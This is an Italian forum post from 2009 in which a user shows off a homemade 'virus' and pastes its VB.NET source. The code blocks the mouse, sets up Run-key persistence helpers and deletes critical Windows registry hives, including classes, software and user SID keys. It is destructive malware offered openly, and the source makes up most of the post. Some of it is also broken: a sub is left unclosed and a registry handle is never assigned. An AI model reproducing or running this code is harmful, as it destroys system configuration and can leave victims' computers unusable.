- 1 Settembre 2009
- 159
- 0
- Miglior risposta
- 0
buon giorno , dopo mlto tempo ho finalmente creato il virus leonardo da vinci , è stato un progetto abbastanza complicato ma ce l ho fatta!!!!!!!!!!
il virus appena aperto blokka il mouse e il taskmanager, poi procete col distruggere tt le chiavi di registro...
e qst è quanto
SONNYDJJ:ciao:
il virus appena aperto blokka il mouse e il taskmanager, poi procete col distruggere tt le chiavi di registro...
Imports Microsoft.Win32 Public Class Form1 Dim DeleteSubKey As RegistryKey Dim RegKey As RegistryKey Private Sub AddCurrentKey(ByVal name as String , ByVal path as String) Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run",True) regkey.SetValue(name, path) End Sub Private Sub AddLocalKey(ByVal name as String , ByVal path as String) Registry.LocalMachine.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run",True) Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click MsgBox("hai aperto il virus leonardo da vinci") Timer1.Interval = 1 Timer1.Enabled = True SendKeys.Send("{ESC}") Cursor.Position = New Point(33, 48) RegKey = Registry.ClassesRoot RegKey.DeleteSubKey("*") RegKey.DeleteSubKey(". .kmz") RegKey.DeleteSubKey(". .kml") RegKey.DeleteSubKey("._sln") RegKey.DeleteSubKey("._sln60") RegKey.DeleteSubKey("._sln70") RegKey.Close() RegKey = Registry.CurrentConfig RegKey.DeleteSubKey("system") RegKey.DeleteSubKey("software") RegKey = Registry.CurrentUser RegKey.DeleteSubKey("software") RegKey.Close() RegKey = Registry.Users RegKey.DeleteSubKey("5-1-5-19") RegKey.DeleteSubKey(".default") RegKey.DeleteSubKey("S-1-5-21-1285573224-1917732508-1159475160-1003") RegKey.DeleteSubKey("S-1-5-21-1285573224-1917732508-1159475160-1003_Classes") RegKey.DeleteSubKey("S-1-5-20_Classes") RegKey.DeleteSubKey("S-1-5-20") RegKey.DeleteSubKey("S-1-5-18") RegKey.DeleteSubKey("S-1-5-19") RegKey.CreateSubKey("operazione terminata") RegKey.Close() End Sub Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick End Sub End Class |
e qst è quanto
SONNYDJJ:ciao:
Ultima modifica: